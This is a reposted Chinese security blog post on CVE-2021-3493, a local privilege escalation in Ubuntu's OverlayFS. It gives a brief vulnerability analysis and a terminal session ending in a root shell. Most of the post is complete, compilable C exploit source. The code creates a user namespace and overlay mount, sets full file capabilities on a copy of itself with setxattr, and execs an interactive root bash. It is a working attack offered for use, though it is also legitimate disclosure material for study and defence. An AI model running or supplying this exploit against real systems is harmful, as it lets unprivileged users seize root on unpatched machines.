专栏首页区块链安全技术CVE-2021-3493:Ubuntu OverLayFS提权

CVE-2021-3493:Ubuntu OverLayFS提权

影响范围

  • Ubuntu 20 10
  • Ubuntu 20 04 LTS
  • Ubuntu 18 04 LTS
  • Ubuntu 16 04 LTS
  • Ubuntu 14 04 ESM

漏洞类型

本地权限提升

利用条件

影响范围应用

漏洞概述

Ubuntu的一个具体问题是在Linux内核中的overlayfs文件系统,它没有正确地验证文件系统功能在用户名称空间方面的应用,由于Ubuntu中的一个补丁允许非特权的overlayfs挂载,本地攻击者可以利用它来获得更高的权限。

漏洞复现

ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c  -o exploit
ubuntu@ubuntu:~/CVE-2021-3493$ ./exploit
bash-4.4# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare),1000(ubuntu)
bash-4.4# whoami
root
bash-4.4#

漏洞分析

Linux支持file capabilities扩展文件属性,该属性的作用类似于setuid-bit,但可以更细化,使用伪代码设置文件功能的简化过程如下所示:

setxattr(...):
    if cap_convert_nscap(...) is not OK:
        then fail
    vfs_setxattr(...)

这里的关键调用是cap_convert_nscap,它检查有关namespaces的权限

如果我们在namespaces和mount上设置文件功能,就没有问题,而且我们有这样做的权限,问题是当OverlayFS将此操作转发到底层文件系统时,它只调用vfs_setxattr并跳过cap_convert_nscap中的检查,这允许在外部namespaces/mount中的文件上设置任意功能,在执行过程中也将应用这些功能。

在Linux 5.11中,对cap_convert_scap的调用被移动到vfssetx_attr中,因此它不再易受攻击。

漏洞EXP

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

参考链接

https://ubuntu.com/security/CVE-2021-3493

https://ssd-disclosure.com/ssd-advisory-overlayfs-pe/

https://www.openwall.com/lists/oss-security/2021/04/16/1

本文分享自微信公众号 - 七芒星实验室(HeptagramSec),作者:Al1ex

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2021-04-27

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • CVE-2021-3493:Ubuntu OverLayFS提权

    Ubuntu的一个具体问题是在Linux内核中的overlayfs文件系统,它没有正确地验证文件系统功能在用户名称空间方面的应用,由于Ubuntu中的一个补丁允...

    Al1ex
  • Linux本地提权漏洞CVE-2021-3493

    OverlayFS漏洞允许Ubuntu下的本地用户获得root权限。Linux内核中overlayfs文件系统中的Ubuntu特定问题,在该问题中,它未正确验证...

    用户5878089
  • CVE-2021-3493:Linux kernel特权提升漏洞复现

    linux kernel一般指Linux内核。Linux是一种开源电脑操作系统内核。它是一个用C语言写成,符合POSIX标准的类Unix操作系统。

    Timeline Sec
  • CVE-2021-3493 Linux kernel提权漏洞复现

    乌鸦安全
  • 微软新漏洞:攻击者可获取Windows和Linux系统的最高权限

    7月20日,微软的Windows 10和即将推出的Windows 11版本被发现存在一个新的本地权限升级漏洞,低级权限的用户可以访问Windows系统文件,并且...

    FB客服
  • 不用密码就能获取root权限?sudo被曝新漏洞

    虽然运维惨兮兮,但“这可能是近期内最需要重视的sudo漏洞。”因为这次的sudo漏洞CVE-2021-3156能够允许任何本地用户不需要身份验证就可以获得roo...

    FB客服
  • Linux sudo权限提升漏洞复现(CVE-2021-3156)

    2021年01月27日,RedHat官方发布了sudo 缓冲区/栈溢出漏洞的风险通告,普通用户可以通过利用此漏洞,而无需进行身份验证,成功获取root权限。

    Bypass
  • CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入漏洞

    2021年3月17号,MariaDB官方发布的安全通告中修复了一处命令注入漏洞,具备数据库超级用户可以在修改wsrep_provider和wsrep_notif...

    Al1ex
  • CVE-2021-27928:MariaDB/MySQL-wsrep provider命令注入

    2021年3月17号,MariaDB官方发布的安全通告中修复了一处命令注入漏洞,具备数据库超级用户可以在修改wsrep_provider和wsrep_notif...

    Al1ex
  • CVE-2021-3156-sudo缓冲区溢出复现

    1月26日,Sudo发布安全通告,修复了一个类Unix操作系统在命令参数中转义反斜杠时存在基于堆的缓冲区溢出漏洞。当sudo通过 -s 或 -i 命令行选项在s...

    Khan安全团队
  • CVE-2021-1732:Windows Win32k提权

    Windows Server, version 20H2 (Server Core Installation)

    Al1ex
  • CVE-2021-1732:Windows Win32k提权

    Windows Server, version 20H2 (Server Core Installation)

    Al1ex
  • CVE-2021-28476 Hyper-V 远程代码执行漏洞

    这是CVE-2021-28476(“Hyper-V 远程代码执行漏洞”)的概念证明,这是vmswitch.sys微软在 2021 年 4 月修补...

    Khan安全团队
  • Linux提权脚本

    实际环境中会遇到过很多有shell但是权限不够的情况,那么对于我这种对内核提权的知识只存在脏牛提权的懒狗来说,最方便快捷的方式就是拿脚本来批量看当前版本的内核有...

    Elapse
  • Linux Sudo 本地权限提升高危漏洞风险通告(CVE-2021-3156)

    1月26日Qualys研究小组发现了sudo中一个隐藏了十年的堆溢出漏洞(CVE-2021-3156,命名:Baron Samedit),几乎影响所有Unix主...

    李俊鹏
  • 实战记录 | 自主搭建的三层网络域渗透靶场

    假期马上结束了,闲暇之时我自己尝试着搭建了一个内网渗透的靶场。靶场是根据比较新的漏洞进行搭建的,质量自以为还可以。

    HACK学习
  • 漏洞情报|Linux Sudo 本地权限提升高危漏洞风险通告(CVE-2021-3156)

    近日,腾讯云安全运营中心监测到,国外研究团队披露出Sudo堆溢出漏洞,漏洞编号:CVE-2021-3156,普通用户可以通过利用此漏洞,在默认配置的 Sudo...

    云鼎实验室
  • 【漏洞修复】Linux Sudo本地提权漏洞修复(CVE-2021-31560)

    腾讯云安全官方近期发布了:Linux Sudo本地提权漏洞安全风险通告(CVE-2021-3156)

    腾讯云-MSS服务
  • 【安全更新】微软4月安全更新多个产品高危漏洞通告

    4月14日,微软发布4月安全更新补丁,修复了114个安全漏洞,涉及Windows、Office、Edge (Chromium-based) 、Visual St...

    绿盟科技安全情报

扫码关注云+社区

领取腾讯云代金券